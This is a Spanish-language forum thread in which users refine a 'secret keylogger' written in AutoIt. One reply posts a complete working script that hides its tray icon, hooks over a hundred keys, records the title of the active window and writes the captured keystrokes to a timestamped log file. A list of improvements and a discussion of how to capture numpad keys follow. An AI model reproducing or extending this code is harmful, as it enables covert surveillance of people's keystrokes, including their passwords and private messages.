Secret keylogger (creado por mi) -Terminado-

Iniciado por tOxiC;, 22 Julio 2009, 21:44 PM

0 Miembros y 1 Visitante están viendo este tema.

Novlucker

No lo había probado antes, ahora que lo he hecho me encontrado con varios problemas  :rolleyes:, entre ellos:

  • Si el nombre del ejecutable no es "autoit3.exe" entonces no se cierra
  • Lo de Ocultar no sirve como debería, porque si ocultas sin haber comenzado a registrar pulsaciones ya no puedes hacerlo aparecer XD
  • Ningún botón funciona luego de iniciado el registro de teclas ... ya que te metes en un bucle en el que registras las demás teclas, pero no los botones
Bueno .... eso he visto por el momento, así que quizás le haga un par de modificaciones y lo cuelgue  :P

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Darioxhcx

no hai un for como para poder reemplazar tantas lineas ?
pregunto.. nunca mire autoit xD
saludos

Erik#

#12
O un array y luego for... HotSetKey(array[ x], logea)... algo así no?

Novlucker

Si, si que lo hay, y lo que dice Erik# era justo lo que pensaba hacer ya que le quitas como 80 líneas con algo tan simple como eso  :P

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Novlucker

#14
Bueno ... como había dicho le hice un par de modificaciones que quizás puedan servir a el_juanchiii :P

#NoTrayIcon
#include <Date.au3>

$Filename = StringReplace(StringReplace(_now(),"/",""),":",".")
$Filename = stringreplace($Filename," ","_")
global $flag = false
global $wintitle = ventanactiva()
global $buffer = "[ " & $wintitle & " ]"

Do
HotKeySet("^!q", "exitlogger")
local $arraykeys[104] = [" ","a","b","c","d","e","f","g","h","i","j","k","l","m","n","ñ","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","Ñ","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9","ª","º","\","!","|","@","·","#","$","%","&","¬","/","(",")","=","'","?","¡","¿","ç","}","<",">",",",";",".",":","-","_","´","{","¨","^","`","[","+","*","]"]
local $i
for $i = 0 to 103
HotKeySet($arraykeys[$i],"logea")
Next
until $flag = True

Func logea()
HotKeySet(@HotKeyPressed)
local $key = @HotKeyPressed
Send(@HotKeyPressed)

if $wintitle <> ventanactiva() Then
$wintitle = ventanactiva()
$buffer = $buffer & @CRLF & "[ " & $wintitle & " ]" & @CRLF & $key
Else
$buffer = $buffer & $key
EndIf

If StringLen($buffer) >= 200 Then
escribelog()
$buffer = ""
Endif
EndFunc

Func exitlogger()
escribelog()
$flag = true
EndFunc

Func escribelog()
$file = FileOpen($Filename & ".txt", 1)
If $file = -1 Then
Exit
EndIf
FileWrite($file, $buffer)
FileClose($file)
EndFunc

Func ventanactiva()
global $windows = WinList()
For $i = 1 to $windows[0][0]
If $windows[$i][0] <> "" AND Activa($windows[$i][1]) Then
Return $windows[$i][0]
EndIf
Next
EndFunc

Func Activa($handle)
If BitAnd(WinGetState($handle), 8) Then
Return True
Else
Return False
EndIf
EndFunc

Func OnAutoItExit ( )
escribelog()
EndFunc


Ya no tiene interfaz gráfica, me parecía que no agregaba a su función y que habían cosas (como el calendario) que no cumplian ninguna función :-X


  • El code se ha hecho más corto con el uso de bucles
  • Ahora el volcado de escritura se hace cuando el buffer llega a los 200 caracteres
  • El volcado se realiza en un archivo cuyo nombre tiene la fecha y hora de ejecución del script/ejecutable
  • Registra la ventana activa :D
  • Al terminarse la aplicación realiza el volcado de cualquier manera (funciona con un taskkill normal, no si se fuerza con /F o se termina el proceso desde el taskmgr)
  • Para terminar el proceso a las buenas y realizar el volcado sin importar el tamaño del buffer, las teclas abreviadas son CTRL+ALT+Q (son menos comunes que antes)

Saludos ;D

Nota: algo que olvidé es poner para que solo se pueda ejecutar una vez, ya que si se abre dos veces es un problema  :-X
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

seba123neo

esta bien el aporte, esta todo lindo pero yo digo que este lenguaje AutoIt lo hizo gente que no tiene ganas de programar realmente...programas algo en 1 linea que en visual basic te lleva un poco mas..pero prefieron mil veces visual basic...parece potente por todo lo que podes hacer en pocas lineas, pero eso no quiere decir que sea bueno para aprender...con visual basic tenes un .exe 10 veces mas chico y con mas opciones...dejense de AutoIt que no van a ningun lado...

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

Novlucker

#16
Citaresta todo lindo pero yo digo que este lenguaje AutoIt lo hizo gente que no tiene ganas de programar realmente
Es verdad, pero es que se debe justamente a la orientación que tiene este lenguaje, claramente no es para cosas "serias" sino sobre todo para automatizar tareas de manera rápida y sencilla :)

Citarprogramas algo en 1 linea que en visual basic te lleva un poco mas..pero prefieron mil veces visual basic
Citarcon visual basic tenes un .exe 10 veces mas chico y con mas opciones
True, no hay dudas de eso, también yo lo prefiero ya que si bien en autoit haces las cosas "rápido" tu pc lo paga con recursos, pero que más pedirle en un instalador de 8 Mb? :P

Citarparece potente por todo lo que podes hacer en pocas lineas, pero eso no quiere decir que sea bueno para aprender
No!, nadie ha dicho que sea mejor para aprender, por el contrario, mal acostumbra, pero de vez en cuando es entretenido hacer estas cosas :P

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Pablo Videla

He estado probando el programa y no detecta los numeros del numpad  :xD y le agregue en el arreglo mas caracteres que tampoco detecta con la combinaciones de teclas alt+numpad..

Novlucker

#18
A eso no le presté atención, solo copie las keys que había dejado el_juanchiii :-X
Pero como hiciste con el teclado numérico? :rolleyes:

The following hotkeys cannot be set:


Ctrl+Alt+Delete
It is reserved by Windows
F12
It is also reserved by Windows, according to its API.
NumPad's Enter Key
Instead, use {Enter} which captures both Enter keys on the keyboard.
Win+B,D,E,F,L,M,R,U; and Win+Shift+M
These are built-in Windows shortcuts. Note: Win+B and Win+L might only be reserved on Windows XP and above.
Alt, Ctrl, Shift, Win
These are the modifier keys themselves!
Other
Any global hotkeys a user has defined using third-party software, any combos of two or more "base keys" such as '{F1}{F2}', and any keys of the form '{LALT}' or '{ALTDOWN}'.


Mirando mejor ... fue con esto? {numpad1}, {numpad2}, etc?

Saludos ;D
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Pablo Videla

#19
solo agregue en el arreglo ® y cosas parecidas pense que con el alt +169 lo detectaria solo  :xD y con el {numpad1} creo que me arrojaria error pro que es como si cerrara el arreglo  :P